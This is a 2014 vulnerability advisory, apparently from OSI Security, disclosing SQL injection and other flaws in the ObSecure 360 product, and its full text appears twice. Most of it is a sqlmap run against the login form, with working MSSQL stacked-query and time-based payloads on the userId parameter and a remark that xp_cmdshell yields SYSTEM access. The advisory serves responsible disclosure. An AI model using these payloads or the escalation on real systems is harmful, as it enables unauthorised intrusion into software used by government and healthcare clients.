Obsecure360 Framework SQL Injection, Path Disclosure, Reflected XSS
Release Date:
23-Dec-2014
Software:
ObSecure 360
http://obsecure.com.au/Solutions.html
"obsecure is an innovative cyber security software company that provides high
security information distribution and transfer solutions that take the risk
out of doing business."
Clients include government, healthcare & doctors, corporate, legal and law enforcement.
Versions tested:
Version unknown.
1) SQL injection on the login form. You can use sqlmap for this.
./sqlmap.py -u "https://[target]/Reader/" --cookie "PHPSESSID=[session]" --forms
[03:25:52] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'https://[target]/Reader/Reader.php'. Do you want to follow? [Y/n] y
[03:25:55] [INFO] heuristics detected web page charset 'ISO-8859-2'
[03:25:55] [INFO] searching for forms
[#1] form:
POST https://[target]:443/Reader/actions/login/verify_username.php
Cookie: PHPSESSID=[session]
POST data: userId=&login=Continue
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: userId=&login=Continue] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n] y
[03:26:01] [INFO] using 'results-06282013_0326am.csv' as the CSV results file in multiple targets mode
[03:26:01] [INFO] heuristics detected web page charset 'ascii'
[03:26:01] [INFO] testing if the target URL is stable. This can take a couple of seconds
[03:26:03] [INFO] target URL is stable
[03:26:03] [INFO] testing if POST parameter 'userId' is dynamic
[03:26:03] [WARNING] POST parameter 'userId' does not appear dynamic
[03:26:03] [WARNING] heuristic (basic) test shows that POST parameter 'userId' might not be injectable
[03:26:03] [INFO] testing for SQL injection on POST parameter 'userId'
[03:26:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:26:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[03:26:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:26:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[03:26:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[03:26:12] [INFO] testing 'MySQL inline queries'
[03:26:12] [INFO] testing 'PostgreSQL inline queries'
[03:26:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[03:26:12] [INFO] testing 'Oracle inline queries'
[03:26:13] [INFO] testing 'SQLite inline queries'
[03:26:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:26:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:26:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:26:27] [INFO] POST parameter 'userId' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[03:26:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:26:37] [INFO] POST parameter 'userId' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[03:26:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[03:26:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[03:26:44] [INFO] checking if the injection point on POST parameter 'userId' is a false positive
POST parameter 'userId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 80 HTTP(s) requests:
---
Place: POST
Parameter: userId
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: userId=ufgv'; WAITFOR DELAY '0:0:5'--&login=Continue
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: userId=ufgv' WAITFOR DELAY '0:0:5'--&login=Continue
---
do you want to exploit this SQL injection? [Y/n]
[03:27:04] [INFO] testing Microsoft SQL Server
[03:27:04] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[03:27:12] [INFO] confirming Microsoft SQL Server
[03:27:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: Microsoft SQL Server 2000
The software package ships with MSSQL2000 even though it is a decade+ old, so a simple xp_cmdshell() will yield SYSTEM access without any trickery.
2) There are other problems such as path disclosures and script injection issues present.
Credit:
This vulnerability was discovered by Patrick Webster.
Disclosure timeline:
28-Jun-2013 - Discovered during audit.
30-Jul-2013 - Notified vendor. No response.
30-Oct-2014 - Asked vendor for a reply. No response.
23-Dec-2014 - Public disclosure.
About OSI Security:
OSI Security is an independent network and computer security auditing
and consulting company based in Sydney, Australia. We provide internal
and external penetration testing, vulnerability auditing and wireless
site audits, vendor product assessments, secure network design,
forensics and risk mitigation services.
We can be found at http://www.osisecurity.com.au/
23-Dec-2014
Software:
ObSecure 360
http://obsecure.com.au/Solutions.html
"obsecure is an innovative cyber security software company that provides high
security information distribution and transfer solutions that take the risk
out of doing business."
Clients include government, healthcare & doctors, corporate, legal and law enforcement.
Versions tested:
Version unknown.
1) SQL injection on the login form. You can use sqlmap for this.
./sqlmap.py -u "https://[target]/Reader/" --cookie "PHPSESSID=[session]" --forms
[03:25:52] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'https://[target]/Reader/Reader.php'. Do you want to follow? [Y/n] y
[03:25:55] [INFO] heuristics detected web page charset 'ISO-8859-2'
[03:25:55] [INFO] searching for forms
[#1] form:
POST https://[target]:443/Reader/actions/login/verify_username.php
Cookie: PHPSESSID=[session]
POST data: userId=&login=Continue
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: userId=&login=Continue] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n] y
[03:26:01] [INFO] using 'results-06282013_0326am.csv' as the CSV results file in multiple targets mode
[03:26:01] [INFO] heuristics detected web page charset 'ascii'
[03:26:01] [INFO] testing if the target URL is stable. This can take a couple of seconds
[03:26:03] [INFO] target URL is stable
[03:26:03] [INFO] testing if POST parameter 'userId' is dynamic
[03:26:03] [WARNING] POST parameter 'userId' does not appear dynamic
[03:26:03] [WARNING] heuristic (basic) test shows that POST parameter 'userId' might not be injectable
[03:26:03] [INFO] testing for SQL injection on POST parameter 'userId'
[03:26:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:26:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[03:26:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:26:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[03:26:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[03:26:12] [INFO] testing 'MySQL inline queries'
[03:26:12] [INFO] testing 'PostgreSQL inline queries'
[03:26:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[03:26:12] [INFO] testing 'Oracle inline queries'
[03:26:13] [INFO] testing 'SQLite inline queries'
[03:26:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:26:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:26:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:26:27] [INFO] POST parameter 'userId' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[03:26:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:26:37] [INFO] POST parameter 'userId' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[03:26:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[03:26:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[03:26:44] [INFO] checking if the injection point on POST parameter 'userId' is a false positive
POST parameter 'userId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 80 HTTP(s) requests:
---
Place: POST
Parameter: userId
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: userId=ufgv'; WAITFOR DELAY '0:0:5'--&login=Continue
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: userId=ufgv' WAITFOR DELAY '0:0:5'--&login=Continue
---
do you want to exploit this SQL injection? [Y/n]
[03:27:04] [INFO] testing Microsoft SQL Server
[03:27:04] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[03:27:12] [INFO] confirming Microsoft SQL Server
[03:27:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: Microsoft SQL Server 2000
The software package ships with MSSQL2000 even though it is a decade+ old, so a simple xp_cmdshell() will yield SYSTEM access without any trickery.
2) There are other problems such as path disclosures and script injection issues present.
Credit:
This vulnerability was discovered by Patrick Webster.
Disclosure timeline:
28-Jun-2013 - Discovered during audit.
30-Jul-2013 - Notified vendor. No response.
30-Oct-2014 - Asked vendor for a reply. No response.
23-Dec-2014 - Public disclosure.
About OSI Security:
OSI Security is an independent network and computer security auditing
and consulting company based in Sydney, Australia. We provide internal
and external penetration testing, vulnerability auditing and wireless
site audits, vendor product assessments, secure network design,
forensics and risk mitigation services.
We can be found at http://www.osisecurity.com.au/
